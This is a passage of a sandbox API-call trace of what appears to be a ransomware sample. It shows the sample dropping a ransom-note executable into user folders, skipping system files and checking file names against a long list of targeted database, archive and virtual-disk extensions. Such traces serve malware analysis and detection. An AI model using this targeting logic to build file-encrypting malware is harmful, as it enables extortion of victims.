	[0040.713] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF"
	[0040.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0040.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0040.713] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF") returned 63
	[0040.713] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF"
	[0040.713] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qupqreddvxdtuus-nt\\6mt7rf\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.721] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.721] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qupQREdDvXDtuUs-nT\\6MT7RF\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x227ed150, ftCreationTime.dwHighDateTime=0x1d4ccf4, ftLastAccessTime.dwLowDateTime=0x305fdcd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x305fdcd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.721] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.721] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.721] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="cGxS2.png" | out: lpString1="cGxS2.png") returned="cGxS2.png"
	[0040.721] lstrlenW (lpString="cGxS2.png") returned 9
	[0040.721] lstrlenW (lpString="Apollon865") returned 10
	[0040.721] lstrlenW (lpString=".dll") returned 4
	[0040.721] lstrcmpiW (lpString1="cGxS2.png", lpString2=".dll") returned 1
	[0040.722] lstrlenW (lpString=".lnk") returned 4
	[0040.722] lstrcmpiW (lpString1="cGxS2.png", lpString2=".lnk") returned 1
	[0040.722] lstrlenW (lpString=".ini") returned 4
	[0040.722] lstrcmpiW (lpString1="cGxS2.png", lpString2=".ini") returned 1
	[0040.722] lstrlenW (lpString=".sys") returned 4
	[0040.722] lstrcmpiW (lpString1="cGxS2.png", lpString2=".sys") returned 1
	[0040.722] lstrlenW (lpString="cGxS2.png") returned 9
	[0040.722] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="daZBQbubTG8ldR2.bmp" | out: lpString1="daZBQbubTG8ldR2.bmp") returned="daZBQbubTG8ldR2.bmp"
	[0040.722] lstrlenW (lpString="daZBQbubTG8ldR2.bmp") returned 19
	[0040.722] lstrlenW (lpString="Apollon865") returned 10
	[0040.722] lstrcmpiW (lpString1="G8ldR2.bmp", lpString2="Apollon865") returned 1
	[0040.722] lstrlenW (lpString=".dll") returned 4
	[0040.722] lstrcmpiW (lpString1="daZBQbubTG8ldR2.bmp", lpString2=".dll") returned 1
	[0040.722] lstrlenW (lpString=".lnk") returned 4
	[0040.722] lstrcmpiW (lpString1="daZBQbubTG8ldR2.bmp", lpString2=".lnk") returned 1
	[0040.722] lstrlenW (lpString=".ini") returned 4
	[0040.722] lstrcmpiW (lpString1="daZBQbubTG8ldR2.bmp", lpString2=".ini") returned 1
	[0040.722] lstrlenW (lpString=".sys") returned 4
	[0040.722] lstrcmpiW (lpString1="daZBQbubTG8ldR2.bmp", lpString2=".sys") returned 1
	[0040.722] lstrlenW (lpString="daZBQbubTG8ldR2.bmp") returned 19
	[0040.722] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="jUVf dbTC.png" | out: lpString1="jUVf dbTC.png") returned="jUVf dbTC.png"
	[0040.722] lstrlenW (lpString="jUVf dbTC.png") returned 13
	[0040.722] lstrlenW (lpString="Apollon865") returned 10
	[0040.722] lstrcmpiW (lpString1="f dbTC.png", lpString2="Apollon865") returned 1
	[0040.722] lstrlenW (lpString=".dll") returned 4
	[0040.722] lstrcmpiW (lpString1="jUVf dbTC.png", lpString2=".dll") returned 1
	[0040.722] lstrlenW (lpString=".lnk") returned 4
	[0040.722] lstrcmpiW (lpString1="jUVf dbTC.png", lpString2=".lnk") returned 1
	[0040.722] lstrlenW (lpString=".ini") returned 4
	[0040.722] lstrcmpiW (lpString1="jUVf dbTC.png", lpString2=".ini") returned 1
	[0040.722] lstrlenW (lpString=".sys") returned 4
	[0040.722] lstrcmpiW (lpString1="jUVf dbTC.png", lpString2=".sys") returned 1
	[0040.722] lstrlenW (lpString="jUVf dbTC.png") returned 13
	[0040.723] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies"
	[0040.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0040.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0040.723] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned 37
	[0040.723] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies"
	[0040.723] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.723] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\cookies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.728] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.728] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x959bfe0, ftCreationTime.dwHighDateTime=0x1d4d1f0, ftLastAccessTime.dwLowDateTime=0xdc2a29d0, ftLastAccessTime.dwHighDateTime=0x1d4d00d, ftLastWriteTime.dwLowDateTime=0xdc2a29d0, ftLastWriteTime.dwHighDateTime=0x1d4d00d, nFileSizeHigh=0x0, nFileSizeLow=0x107b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jUVf dbTC.png", cAlternateFileName="JUVFDB~1.PNG")) returned 0xffffffff
	[0040.728] GetLastError () returned 0x5
	[0040.728] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\* FindFirstFile error 5\r\n") returned 71
	[0040.728] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\* FindFirstFile error 5\r\n") returned 71
	[0040.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0040.728] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1269
	[0040.728] WriteFile (in: hFile=0x154, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x47, lpOverlapped=0x0) returned 1
	[0040.728] CloseHandle (hObject=0x154) returned 1
	[0040.730] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0040.730] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts"
	[0040.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc960 | out: hHeap=0x580000) returned 1
	[0040.730] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0040.730] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned 38
	[0040.730] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts"
	[0040.730] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.730] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.738] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30623e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30623e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.738] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.738] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.738] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="Aclviho ASldjfl.contact" | out: lpString1="Aclviho ASldjfl.contact") returned="Aclviho ASldjfl.contact"
	[0040.738] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23
	[0040.738] lstrlenW (lpString="Apollon865") returned 10
	[0040.738] lstrcmpiW (lpString1="fl.contact", lpString2="Apollon865") returned 1
	[0040.738] lstrlenW (lpString=".dll") returned 4
	[0040.739] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".dll") returned 1
	[0040.739] lstrlenW (lpString=".lnk") returned 4
	[0040.739] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".lnk") returned 1
	[0040.739] lstrlenW (lpString=".ini") returned 4
	[0040.739] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".ini") returned 1
	[0040.739] lstrlenW (lpString=".sys") returned 4
	[0040.739] lstrcmpiW (lpString1="Aclviho ASldjfl.contact", lpString2=".sys") returned 1
	[0040.739] lstrlenW (lpString="Aclviho ASldjfl.contact") returned 23
	[0040.739] lstrlenW (lpString="bak") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="bak") returned -1
	[0040.739] lstrlenW (lpString="ba_") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="ba_") returned -1
	[0040.739] lstrlenW (lpString="dbb") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="dbb") returned -1
	[0040.739] lstrlenW (lpString="vmdk") returned 4
	[0040.739] lstrcmpiW (lpString1="tact", lpString2="vmdk") returned -1
	[0040.739] lstrlenW (lpString="rar") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="rar") returned -1
	[0040.739] lstrlenW (lpString="zip") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="zip") returned -1
	[0040.739] lstrlenW (lpString="tgz") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="tgz") returned -1
	[0040.739] lstrlenW (lpString="vbox") returned 4
	[0040.739] lstrcmpiW (lpString1="tact", lpString2="vbox") returned -1
	[0040.739] lstrlenW (lpString="vdi") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="vdi") returned -1
	[0040.739] lstrlenW (lpString="vhd") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="vhd") returned -1
	[0040.739] lstrlenW (lpString="vhdx") returned 4
	[0040.739] lstrcmpiW (lpString1="tact", lpString2="vhdx") returned -1
	[0040.739] lstrlenW (lpString="avhd") returned 4
	[0040.739] lstrcmpiW (lpString1="tact", lpString2="avhd") returned 1
	[0040.739] lstrlenW (lpString="db") returned 2
	[0040.739] lstrcmpiW (lpString1="ct", lpString2="db") returned -1
	[0040.739] lstrlenW (lpString="db2") returned 3
	[0040.739] lstrcmpiW (lpString1="act", lpString2="db2") returned -1
	[0040.739] lstrlenW (lpString="db3") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="db3") returned -1
	[0040.740] lstrlenW (lpString="dbf") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="dbf") returned -1
	[0040.740] lstrlenW (lpString="mdf") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="mdf") returned -1
	[0040.740] lstrlenW (lpString="mdb") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="mdb") returned -1
	[0040.740] lstrlenW (lpString="sql") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="sql") returned -1
	[0040.740] lstrlenW (lpString="sqlite") returned 6
	[0040.740] lstrcmpiW (lpString1="ontact", lpString2="sqlite") returned -1
	[0040.740] lstrlenW (lpString="sqlite3") returned 7
	[0040.740] lstrcmpiW (lpString1="contact", lpString2="sqlite3") returned -1
	[0040.740] lstrlenW (lpString="sqlitedb") returned 8
	[0040.740] lstrcmpiW (lpString1=".contact", lpString2="sqlitedb") returned -1
	[0040.740] lstrlenW (lpString="xml") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="xml") returned -1
	[0040.740] lstrlenW (lpString="$er") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="$er") returned 1
	[0040.740] lstrlenW (lpString="4dd") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="4dd") returned 1
	[0040.740] lstrlenW (lpString="4dl") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="4dl") returned 1
	[0040.740] lstrlenW (lpString="^^^") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="^^^") returned 1
	[0040.740] lstrlenW (lpString="abs") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="abs") returned 1
	[0040.740] lstrlenW (lpString="abx") returned 3
	[0040.740] lstrcmpiW (lpString1="act", lpString2="abx") returned 1
	[0040.740] lstrlenW (lpString="accdb") returned 5
	[0040.740] lstrcmpiW (lpString1="ntact", lpString2="accdb") returned 1
	[0040.740] lstrlenW (lpString="accdc") returned 5
	[0040.740] lstrcmpiW (lpString1="ntact", lpString2="accdc") returned 1
	[0040.740] lstrlenW (lpString="accde") returned 5
	[0040.740] lstrcmpiW (lpString1="ntact", lpString2="accde") returned 1
	[0040.740] lstrlenW (lpString="accdr") returned 5
	[0040.740] lstrcmpiW (lpString1="ntact", lpString2="accdr") returned 1
	[0040.740] lstrlenW (lpString="accdt") returned 5
	[0040.741] lstrcmpiW (lpString1="ntact", lpString2="accdt") returned 1
	[0040.741] lstrlenW (lpString="accdw") returned 5
	[0040.741] lstrcmpiW (lpString1="ntact", lpString2="accdw") returned 1
	[0040.741] lstrlenW (lpString="accft") returned 5
	[0040.741] lstrcmpiW (lpString1="ntact", lpString2="accft") returned 1
	[0040.741] lstrlenW (lpString="adb") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0040.741] lstrlenW (lpString="adb") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="adb") returned -1
	[0040.741] lstrlenW (lpString="ade") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="ade") returned -1
	[0040.741] lstrlenW (lpString="adf") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="adf") returned -1
	[0040.741] lstrlenW (lpString="adn") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="adn") returned -1
	[0040.741] lstrlenW (lpString="adp") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="adp") returned -1
	[0040.741] lstrlenW (lpString="alf") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="alf") returned -1
	[0040.741] lstrlenW (lpString="ask") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="ask") returned -1
	[0040.741] lstrlenW (lpString="btr") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="btr") returned -1
	[0040.741] lstrlenW (lpString="cat") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="cat") returned -1
	[0040.741] lstrlenW (lpString="cdb") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="cdb") returned -1
	[0040.741] lstrlenW (lpString="ckp") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="ckp") returned -1
	[0040.741] lstrlenW (lpString="cma") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="cma") returned -1
	[0040.741] lstrlenW (lpString="cpd") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="cpd") returned -1
	[0040.741] lstrlenW (lpString="dacpac") returned 6
	[0040.741] lstrcmpiW (lpString1="ontact", lpString2="dacpac") returned 1
	[0040.741] lstrlenW (lpString="dad") returned 3
	[0040.741] lstrcmpiW (lpString1="act", lpString2="dad") returned -1
	[0040.742] lstrlenW (lpString="dadiagrams") returned 10
	[0040.742] lstrcmpiW (lpString1="fl.contact", lpString2="dadiagrams") returned 1
	[0040.742] lstrlenW (lpString="daschema") returned 8
	[0040.742] lstrcmpiW (lpString1=".contact", lpString2="daschema") returned -1
	[0040.742] lstrlenW (lpString="db-journal") returned 10
	[0040.742] lstrcmpiW (lpString1="fl.contact", lpString2="db-journal") returned 1
	[0040.742] lstrlenW (lpString="db-shm") returned 6
	[0040.742] lstrcmpiW (lpString1="ontact", lpString2="db-shm") returned 1
	[0040.742] lstrlenW (lpString="db-wal") returned 6
	[0040.742] lstrcmpiW (lpString1="ontact", lpString2="db-wal") returned 1
	[0040.742] lstrlenW (lpString="dbc") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dbc") returned -1
	[0040.742] lstrlenW (lpString="dbs") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dbs") returned -1
	[0040.742] lstrlenW (lpString="dbt") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dbt") returned -1
	[0040.742] lstrlenW (lpString="dbv") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dbv") returned -1
	[0040.742] lstrlenW (lpString="dbx") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dbx") returned -1
	[0040.742] lstrlenW (lpString="dcb") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dcb") returned -1
	[0040.742] lstrlenW (lpString="dct") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dct") returned -1
	[0040.742] lstrlenW (lpString="dcx") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dcx") returned -1
	[0040.742] lstrlenW (lpString="ddl") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="ddl") returned -1
	[0040.742] lstrlenW (lpString="dlis") returned 4
	[0040.742] lstrcmpiW (lpString1="tact", lpString2="dlis") returned 1
	[0040.742] lstrlenW (lpString="dp1") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dp1") returned -1
	[0040.742] lstrlenW (lpString="dqy") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dqy") returned -1
	[0040.742] lstrlenW (lpString="dsk") returned 3
	[0040.742] lstrcmpiW (lpString1="act", lpString2="dsk") returned -1
	[0040.742] lstrlenW (lpString="dsn") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="dsn") returned -1
	[0040.743] lstrlenW (lpString="dtsx") returned 4
	[0040.743] lstrcmpiW (lpString1="tact", lpString2="dtsx") returned 1
	[0040.743] lstrlenW (lpString="dxl") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="dxl") returned -1
	[0040.743] lstrlenW (lpString="eco") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="eco") returned -1
	[0040.743] lstrlenW (lpString="ecx") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="ecx") returned -1
	[0040.743] lstrlenW (lpString="edb") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="edb") returned -1
	[0040.743] lstrlenW (lpString="epim") returned 4
	[0040.743] lstrcmpiW (lpString1="tact", lpString2="epim") returned 1
	[0040.743] lstrlenW (lpString="fcd") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fcd") returned -1
	[0040.743] lstrlenW (lpString="fdb") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fdb") returned -1
	[0040.743] lstrlenW (lpString="fic") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fic") returned -1
	[0040.743] lstrlenW (lpString="flexolibrary") returned 12
	[0040.743] lstrcmpiW (lpString1="djfl.contact", lpString2="flexolibrary") returned -1
	[0040.743] lstrlenW (lpString="fm5") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fm5") returned -1
	[0040.743] lstrlenW (lpString="fmp") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fmp") returned -1
	[0040.743] lstrlenW (lpString="fmp12") returned 5
	[0040.743] lstrcmpiW (lpString1="ntact", lpString2="fmp12") returned 1
	[0040.743] lstrlenW (lpString="fmpsl") returned 5
	[0040.743] lstrcmpiW (lpString1="ntact", lpString2="fmpsl") returned 1
	[0040.743] lstrlenW (lpString="fol") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fol") returned -1
	[0040.743] lstrlenW (lpString="fp3") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fp3") returned -1
	[0040.743] lstrlenW (lpString="fp4") returned 3
	[0040.743] lstrcmpiW (lpString1="act", lpString2="fp4") returned -1
	[0040.743] lstrlenW (lpString="fp5") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="fp5") returned -1
	[0040.744] lstrlenW (lpString="fp7") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="fp7") returned -1
	[0040.744] lstrlenW (lpString="fpt") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="fpt") returned -1
	[0040.744] lstrlenW (lpString="frm") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="frm") returned -1
	[0040.744] lstrlenW (lpString="gdb") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1
	[0040.744] lstrlenW (lpString="gdb") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="gdb") returned -1
	[0040.744] lstrlenW (lpString="grdb") returned 4
	[0040.744] lstrcmpiW (lpString1="tact", lpString2="grdb") returned 1
	[0040.744] lstrlenW (lpString="gwi") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="gwi") returned -1
	[0040.744] lstrlenW (lpString="hdb") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="hdb") returned -1
	[0040.744] lstrlenW (lpString="his") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="his") returned -1
	[0040.744] lstrlenW (lpString="ib") returned 2
	[0040.744] lstrcmpiW (lpString1="ct", lpString2="ib") returned -1
	[0040.744] lstrlenW (lpString="idb") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="idb") returned -1
	[0040.744] lstrlenW (lpString="ihx") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="ihx") returned -1
	[0040.744] lstrlenW (lpString="itdb") returned 4
	[0040.744] lstrcmpiW (lpString1="tact", lpString2="itdb") returned 1
	[0040.744] lstrlenW (lpString="itw") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="itw") returned -1
	[0040.744] lstrlenW (lpString="jet") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="jet") returned -1
	[0040.744] lstrlenW (lpString="jtx") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="jtx") returned -1
	[0040.744] lstrlenW (lpString="kdb") returned 3
	[0040.744] lstrcmpiW (lpString1="act", lpString2="kdb") returned -1
	[0040.744] lstrlenW (lpString="kexi") returned 4
	[0040.744] lstrcmpiW (lpString1="tact", lpString2="kexi") returned 1
	[0040.744] lstrlenW (lpString="kexic") returned 5
	[0040.745] lstrcmpiW (lpString1="ntact", lpString2="kexic") returned 1
	[0040.745] lstrlenW (lpString="kexis") returned 5
	[0040.745] lstrcmpiW (lpString1="ntact", lpString2="kexis") returned 1
	[0040.745] lstrlenW (lpString="lgc") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="lgc") returned -1
	[0040.745] lstrlenW (lpString="lwx") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="lwx") returned -1
	[0040.745] lstrlenW (lpString="maf") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="maf") returned -1
	[0040.745] lstrlenW (lpString="maq") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="maq") returned -1
	[0040.745] lstrlenW (lpString="mar") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mar") returned -1
	[0040.745] lstrlenW (lpString="marshal") returned 7
	[0040.745] lstrcmpiW (lpString1="contact", lpString2="marshal") returned -1
	[0040.745] lstrlenW (lpString="mas") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mas") returned -1
	[0040.745] lstrlenW (lpString="mav") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mav") returned -1
	[0040.745] lstrlenW (lpString="maw") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="maw") returned -1
	[0040.745] lstrlenW (lpString="mdbhtml") returned 7
	[0040.745] lstrcmpiW (lpString1="contact", lpString2="mdbhtml") returned -1
	[0040.745] lstrlenW (lpString="mdn") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mdn") returned -1
	[0040.745] lstrlenW (lpString="mdt") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mdt") returned -1
	[0040.745] lstrlenW (lpString="mfd") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mfd") returned -1
	[0040.745] lstrlenW (lpString="mpd") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mpd") returned -1
	[0040.745] lstrlenW (lpString="mrg") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mrg") returned -1
	[0040.745] lstrlenW (lpString="mud") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mud") returned -1
	[0040.745] lstrlenW (lpString="mwb") returned 3
	[0040.745] lstrcmpiW (lpString1="act", lpString2="mwb") returned -1
	[0040.746] lstrlenW (lpString="myd") returned 3
